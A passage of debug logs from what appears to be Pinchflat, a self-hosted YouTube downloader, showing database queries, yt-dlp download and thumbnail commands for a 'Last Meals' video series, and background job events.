s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:24:34.986 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:24:34.986 [debug] QUERY OK source="media_items" db=0.0ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [31] 21:24:34.986 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [31] 21:24:34.986 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:24:34.986 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:34.986 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:34.986 [debug] Running yt-dlp command for action: get_downloadable_status 21:24:34.987 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:34.987 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:34.987 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:34.987 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=o2MMhAcHMEk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ca/42/ca42b0f04a5e5ea7fbe7c61a4de35ce02859ae475732c160376fe07fef3f0f20.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:24:37.185 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=o2MMhAcHMEk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ca/42/ca42b0f04a5e5ea7fbe7c61a4de35ce02859ae475732c160376fe07fef3f0f20.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:24:37.185 [debug] Running yt-dlp command for action: download 21:24:37.186 [debug] QUERY OK source="settings" db=0.1ms idle=1128.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:37.186 [debug] QUERY OK source="settings" db=0.0ms idle=1128.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:37.186 [debug] QUERY OK source="settings" db=0.0ms idle=1128.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:37.186 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=o2MMhAcHMEk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/e3/56/e356fb5f2df2d744c676f92299aefcb5b196a38aedef2cbc9adfc22de981a053.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:24:58.692 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.598 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:23.596 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GAFJ8istWgk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/87/9f/879f4d440c4bbd6f0abe605ba75d0069295d527a627050822a1db5ab2705925c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:25:23.607 [debug] Running yt-dlp command for action: download_thumbnail 21:25:23.608 [debug] QUERY OK source="settings" db=0.0ms idle=1550.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:25:23.608 [debug] QUERY OK source="settings" db=0.0ms idle=1550.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:25:23.608 [debug] QUERY OK source="settings" db=0.0ms idle=1550.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:25:23.608 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GAFJ8istWgk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/30/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/16/68/1668c4b99c5cfb8e5499693d2166f77cb3982445247d74ba22c84a723f8e324b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:25:26.196 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GAFJ8istWgk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/30/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/16/68/1668c4b99c5cfb8e5499693d2166f77cb3982445247d74ba22c84a723f8e324b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:25:26.196 [debug] QUERY OK db=0.0ms idle=1139.0ms begin [] 21:25:26.197 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:25:23Z], "/downloads/Last Meals/2025-07-17 Ciara Eats Her Last Meal/Ciara Eats Her Last Meal [GAFJ8istWgk].mp4", ~U[2026-03-28 01:25:26Z], 30] 21:25:26.197 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/30/metadata.json.gz", "/config/metadata/media_items/30/thumbnail.jpg", 30, ~U[2026-03-28 01:25:26Z], ~U[2026-03-28 01:25:26Z]] 21:25:26.200 [debug] QUERY OK db=2.7ms commit [] 21:25:26.201 [debug] QUERY OK source="media_items" db=1.2ms idle=1142.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [475597614, ~U[2026-03-28 01:25:26Z], 30] 21:25:26.201 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:25:26.202 [info] {"args":{"id":30},"id":33,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":169055157,"event":"job:stop","queue_time":2099146391,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:25:26.207 [info] {"args":{"id":32},"id":35,"meta":{},"system_time":1774661126207852212,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:25:26.208 [debug] QUERY OK source="media_items" db=0.0ms idle=199.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [32] 21:25:26.208 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:25:26.208 [debug] QUERY OK source="sources" db=0.1ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:25:26.208 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:25:26.208 [debug] QUERY OK source="media_items" db=0.1ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [32] 21:25:26.209 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [32] 21:25:26.209 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:25:26.209 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:25:26.209 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:25:26.209 [debug] Running yt-dlp command for action: get_downloadable_status 21:25:26.209 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:25:26.209 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:25:26.210 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:25:26.210 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PKwAk6CDqKc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9c/b7/9cb7343794447f7210e9760f1bb4a6197f3716177b53a00f4e775fbde6da193a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:25:28.326 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PKwAk6CDqKc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9c/b7/9cb7343794447f7210e9760f1bb4a6197f3716177b53a00f4e775fbde6da193a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:25:28.326 [debug] Running yt-dlp command for action: download 21:25:28.327 [debug] QUERY OK source="settings" db=0.1ms idle=314.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:25:28.327 [debug] QUERY OK source="settings" db=0.0ms idle=269.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:25:28.327 [debug] QUERY OK source="settings" db=0.0ms idle=269.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:25:28.327 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PKwAk6CDqKc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cd/71/cd717f4e6818129b53df818c72fbd4cd5ee67592610f03cafb2db6fffeca78be.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:25:28.692 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:58.693 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.599 [info] {"source":"oban","duration":106,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:28.694 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:49.942 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=o2MMhAcHMEk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/e3/56/e356fb5f2df2d744c676f92299aefcb5b196a38aedef2cbc9adfc22de981a053.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:26:49.951 [debug] Running yt-dlp command for action: download_thumbnail 21:26:49.951 [debug] QUERY OK source="settings" db=0.0ms idle=1893.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:26:49.951 [debug] QUERY OK source="settings" db=0.0ms idle=1893.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:26:49.951 [debug] QUERY OK source="settings" db=0.0ms idle=1893.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:26:49.951 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=o2MMhAcHMEk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/31/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/9b/5b/9b5bb1b66f46a5bb3a68c118c4b40a995bffb8132384f2cce40c77864b3b3eeb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:26:52.402 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=o2MMhAcHMEk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/31/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/9b/5b/9b5bb1b66f46a5bb3a68c118c4b40a995bffb8132384f2cce40c77864b3b3eeb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:26:52.402 [debug] QUERY OK db=0.0ms idle=1344.8ms begin [] 21:26:52.403 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:26:49Z], "/downloads/Last Meals/2024-02-27 Kelly Rowland Eats Her Last Meal/Kelly Rowland Eats Her Last Meal [o2MMhAcHMEk].mp4", ~U[2026-03-28 01:26:52Z], 31] 21:26:52.403 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/31/metadata.json.gz", "/config/metadata/media_items/31/thumbnail.jpg", 31, ~U[2026-03-28 01:26:52Z], ~U[2026-03-28 01:26:52Z]] 21:26:52.403 [debug] QUERY OK db=0.0ms commit [] 21:26:52.406 [debug] QUERY OK source="media_items" db=0.7ms idle=1348.1ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [319323679, ~U[2026-03-28 01:26:52Z], 31] 21:26:52.406 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:26:52.407 [info] {"args":{"id":31},"id":34,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":137421116,"event":"job:stop","queue_time":2215985388,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:26:52.412 [info] {"args":{"id":33},"id":36,"meta":{},"system_time":1774661212412928133,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:26:52.413 [debug] QUERY OK source="media_items" db=0.1ms idle=293.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [33] 21:26:52.413 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:26:52.413 [debug] QUERY OK source="sources" db=0.1ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:26:52.414 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:26:52.414 [debug] QUERY OK source="media_items" db=0.2ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN 